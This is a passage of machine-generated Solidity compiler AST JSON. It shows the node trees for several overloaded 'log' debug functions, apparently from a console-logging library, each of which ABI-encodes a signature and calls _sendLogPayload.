odeType":"ParameterList","parameters":[],"src":"38344:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28135,"nodeType":"FunctionDefinition","src":"38461:203:15","nodes":[],"body":{"id":28134,"nodeType":"Block","src":"38554:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c737472696e6729","id":28126,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38604:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb1bff805ef136c60bfed230c7b932a14c6f7a62608edeaf56f8f2c0575d25b6","typeString":"literal_string \"log(string,string,address,string)\""},"value":"log(string,string,address,string)"},{"id":28127,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28114,"src":"38641:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28128,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28116,"src":"38645:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28129,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28118,"src":"38649:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28130,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28120,"src":"38653:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb1bff805ef136c60bfed230c7b932a14c6f7a62608edeaf56f8f2c0575d25b6","typeString":"literal_string \"log(string,string,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28124,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38580:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28125,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38584:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38580:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38580:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28123,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"38564:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38564:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28133,"nodeType":"ExpressionStatement","src":"38564:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38470:3:15","parameters":{"id":28121,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28114,"mutability":"mutable","name":"p0","nameLocation":"38488:2:15","nodeType":"VariableDeclaration","scope":28135,"src":"38474:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28113,"name":"string","nodeType":"ElementaryTypeName","src":"38474:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28116,"mutability":"mutable","name":"p1","nameLocation":"38506:2:15","nodeType":"VariableDeclaration","scope":28135,"src":"38492:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28115,"name":"string","nodeType":"ElementaryTypeName","src":"38492:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28118,"mutability":"mutable","name":"p2","nameLocation":"38518:2:15","nodeType":"VariableDeclaration","scope":28135,"src":"38510:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28117,"name":"address","nodeType":"ElementaryTypeName","src":"38510:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28120,"mutability":"mutable","name":"p3","nameLocation":"38536:2:15","nodeType":"VariableDeclaration","scope":28135,"src":"38522:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28119,"name":"string","nodeType":"ElementaryTypeName","src":"38522:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38473:66:15"},"returnParameters":{"id":28122,"nodeType":"ParameterList","parameters":[],"src":"38554:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28158,"nodeType":"FunctionDefinition","src":"38670:192:15","nodes":[],"body":{"id":28157,"nodeType":"Block","src":"38754:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c626f6f6c29","id":28149,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"38804:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ccd4e373eb6ae26626c8607ae861c55cda5fd321363edde7e6328e09072ba63","typeString":"literal_string \"log(string,string,address,bool)\""},"value":"log(string,string,address,bool)"},{"id":28150,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28137,"src":"38839:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28151,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28139,"src":"38843:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28152,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28141,"src":"38847:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28153,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28143,"src":"38851:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ccd4e373eb6ae26626c8607ae861c55cda5fd321363edde7e6328e09072ba63","typeString":"literal_string \"log(string,string,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28147,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38780:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28148,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38784:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38780:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28154,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38780:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28146,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"38764:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38764:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28156,"nodeType":"ExpressionStatement","src":"38764:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38679:3:15","parameters":{"id":28144,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28137,"mutability":"mutable","name":"p0","nameLocation":"38697:2:15","nodeType":"VariableDeclaration","scope":28158,"src":"38683:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28136,"name":"string","nodeType":"ElementaryTypeName","src":"38683:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28139,"mutability":"mutable","name":"p1","nameLocation":"38715:2:15","nodeType":"VariableDeclaration","scope":28158,"src":"38701:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28138,"name":"string","nodeType":"ElementaryTypeName","src":"38701:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28141,"mutability":"mutable","name":"p2","nameLocation":"38727:2:15","nodeType":"VariableDeclaration","scope":28158,"src":"38719:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28140,"name":"address","nodeType":"ElementaryTypeName","src":"38719:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28143,"mutability":"mutable","name":"p3","nameLocation":"38736:2:15","nodeType":"VariableDeclaration","scope":28158,"src":"38731:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28142,"name":"bool","nodeType":"ElementaryTypeName","src":"38731:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"38682:57:15"},"returnParameters":{"id":28145,"nodeType":"ParameterList","parameters":[],"src":"38754:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28181,"nodeType":"FunctionDefinition","src":"38868:198:15","nodes":[],"body":{"id":28180,"nodeType":"Block","src":"38955:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c6164647265737329","id":28172,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39005:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_439c7befd1b6bfcb9bd001c1f3a991ef43c070f0ace0c190dd9f16d7ae338a5d","typeString":"literal_string \"log(string,string,address,address)\""},"value":"log(string,string,address,address)"},{"id":28173,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28160,"src":"39043:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28174,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28162,"src":"39047:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28175,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28164,"src":"39051:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28176,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28166,"src":"39055:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_439c7befd1b6bfcb9bd001c1f3a991ef43c070f0ace0c190dd9f16d7ae338a5d","typeString":"literal_string \"log(string,string,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28170,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"38981:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28171,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"38985:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"38981:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38981:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28169,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"38965:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"38965:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28179,"nodeType":"ExpressionStatement","src":"38965:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38877:3:15","parameters":{"id":28167,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28160,"mutability":"mutable","name":"p0","nameLocation":"38895:2:15","nodeType":"VariableDeclaration","scope":28181,"src":"38881:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28159,"name":"string","nodeType":"ElementaryTypeName","src":"38881:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28162,"mutability":"mutable","name":"p1","nameLocation":"38913:2:15","nodeType":"VariableDeclaration","scope":28181,"src":"38899:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28161,"name":"string","nodeType":"ElementaryTypeName","src":"38899:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28164,"mutability":"mutable","name":"p2","nameLocation":"38925:2:15","nodeType":"VariableDeclaration","scope":28181,"src":"38917:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28163,"name":"address","nodeType":"ElementaryTypeName","src":"38917:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28166,"mutability":"mutable","name":"p3","nameLocation":"38937:2:15","nodeType":"VariableDeclaration","scope":28181,"src":"38929:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28165,"name":"address","nodeType":"ElementaryTypeName","src":"38929:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"38880:60:15"},"returnParameters":{"id":28168,"nodeType":"ParameterList","parameters":[],"src":"38955:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28204,"nodeType":"FunctionDefinition","src":"39072:187:15","nodes":[],"body":{"id":28203,"nodeType":"Block","src":"39150:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e743235362c75696e7432353629","id":28195,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39200:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_64b5bb671d0911515c2d999ed3f7f689c3b5762a99b342dfee4a1d88fec7b25e","typeString":"literal_string \"log(string,bool,uint256,uint256)\""},"value":"log(string,bool,uint256,uint256)"},{"id":28196,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28183,"src":"39236:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28197,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28185,"src":"39240:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28198,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28187,"src":"39244:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28199,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28189,"src":"39248:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_64b5bb671d0911515c2d999ed3f7f689c3b5762a99b342dfee4a1d88fec7b25e","typeString":"literal_string \"log(string,bool,uint256,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28193,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39176:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28194,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39180:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39176:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39176:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28192,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"39160:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39160:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28202,"nodeType":"ExpressionStatement","src":"39160:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39081:3:15","parameters":{"id":28190,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28183,"mutability":"mutable","name":"p0","nameLocation":"39099:2:15","nodeType":"VariableDeclaration","scope":28204,"src":"39085:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28182,"name":"string","nodeType":"ElementaryTypeName","src":"39085:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28185,"mutability":"mutable","name":"p1","nameLocation":"39108:2:15","nodeType":"VariableDeclaration","scope":28204,"src":"39103:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28184,"name":"bool","nodeType":"ElementaryTypeName","src":"39103:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28187,"mutability":"mutable","name":"p2","nameLocation":"39120:2:15","nodeType":"VariableDeclaration","scope":28204,"src":"39112:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28186,"name":"uint256","nodeType":"ElementaryTypeName","src":"39112:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28189,"mutability":"mutable","name":"p3","nameLocation":"39132:2:15","nodeType":"VariableDeclaration","scope":28204,"src":"39124:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28188,"name":"uint256","nodeType":"ElementaryTypeName","src":"39124:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39084:51:15"},"returnParameters":{"id":28191,"nodeType":"ParameterList","parameters":[],"src":"39150:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28227,"nodeType":"FunctionDefinition","src":"39265:192:15","nodes":[],"body":{"id":28226,"nodeType":"Block","src":"39349:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e743235362c737472696e6729","id":28218,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39399:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_742d6ee771df9df1dec5a8b70ff5f7f41567f6ae9fe27e7e391b2811f9978b00","typeString":"literal_string \"log(string,bool,uint256,string)\""},"value":"log(string,bool,uint256,string)"},{"id":28219,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28206,"src":"39434:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28220,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28208,"src":"39438:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28221,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28210,"src":"39442:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28222,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28212,"src":"39446:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_742d6ee771df9df1dec5a8b70ff5f7f41567f6ae9fe27e7e391b2811f9978b00","typeString":"literal_string \"log(string,bool,uint256,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28216,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39375:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28217,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39379:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39375:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39375:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28215,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"39359:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39359:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28225,"nodeType":"ExpressionStatement","src":"39359:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39274:3:15","parameters":{"id":28213,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28206,"mutability":"mutable","name":"p0","nameLocation":"39292:2:15","nodeType":"VariableDeclaration","scope":28227,"src":"39278:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28205,"name":"string","nodeType":"ElementaryTypeName","src":"39278:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28208,"mutability":"mutable","name":"p1","nameLocation":"39301:2:15","nodeType":"VariableDeclaration","scope":28227,"src":"39296:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28207,"name":"bool","nodeType":"ElementaryTypeName","src":"39296:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28210,"mutability":"mutable","name":"p2","nameLocation":"39313:2:15","nodeType":"VariableDeclaration","scope":28227,"src":"39305:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28209,"name":"uint256","nodeType":"ElementaryTypeName","src":"39305:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28212,"mutability":"mutable","name":"p3","nameLocation":"39331:2:15","nodeType":"VariableDeclaration","scope":28227,"src":"39317:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28211,"name":"string","nodeType":"ElementaryTypeName","src":"39317:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"39277:57:15"},"returnParameters":{"id":28214,"nodeType":"ParameterList","parameters":[],"src":"39349:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28250,"nodeType":"FunctionDefinition","src":"39463:181:15","nodes":[],"body":{"id":28249,"nodeType":"Block","src":"39538:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e743235362c626f6f6c29","id":28241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39588:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8af7cf8a379b674b00a81c3841f4203ce23fde0db10f1f8c2a0017ca424d79e2","typeString":"literal_string \"log(string,bool,uint256,bool)\""},"value":"log(string,bool,uint256,bool)"},{"id":28242,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28229,"src":"39621:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28243,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28231,"src":"39625:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28244,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28233,"src":"39629:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28245,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28235,"src":"39633:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8af7cf8a379b674b00a81c3841f4203ce23fde0db10f1f8c2a0017ca424d79e2","typeString":"literal_string \"log(string,bool,uint256,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 